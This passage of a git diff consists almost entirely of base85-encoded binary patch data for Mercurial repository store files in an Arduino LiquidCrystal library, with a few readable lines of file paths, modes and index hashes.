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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c___by_vac.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___i2_c___by_vac.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..6230362087cc313501f9b87d0bf603d92322d7fb GIT binary patch literal 1345 zcmV-H1-|+K0RRC20000000gxF01X!a00000005=`|NsC0|NsAqb=00000000000001ZoV8ZlP9r%GecpUUiFrx1B%yGUBZ|1 z+c9Vb2i@S0?q1N_>-YejEsdNd4tNOKaIYdX5b`?tj1cPiTq_Hy3{hExkDcI%*Okw} zIU}dJlUlXMi7+@w>q17EocLBo~05ainic1NM|9p80V?t zfS4kLT0)kaOk3>Kz=&rAV-e#KTx%XWdvT~DF->XY8`?7PB$g?{rTjaW(ahALO+ zYQTaE2|D&Wykc8JE+#q48nzClM5=udZXPJudDWgv*<{K3Y<&ey)Le@#7(vhQ#ewI;j#MWr=&g?-(STUo& 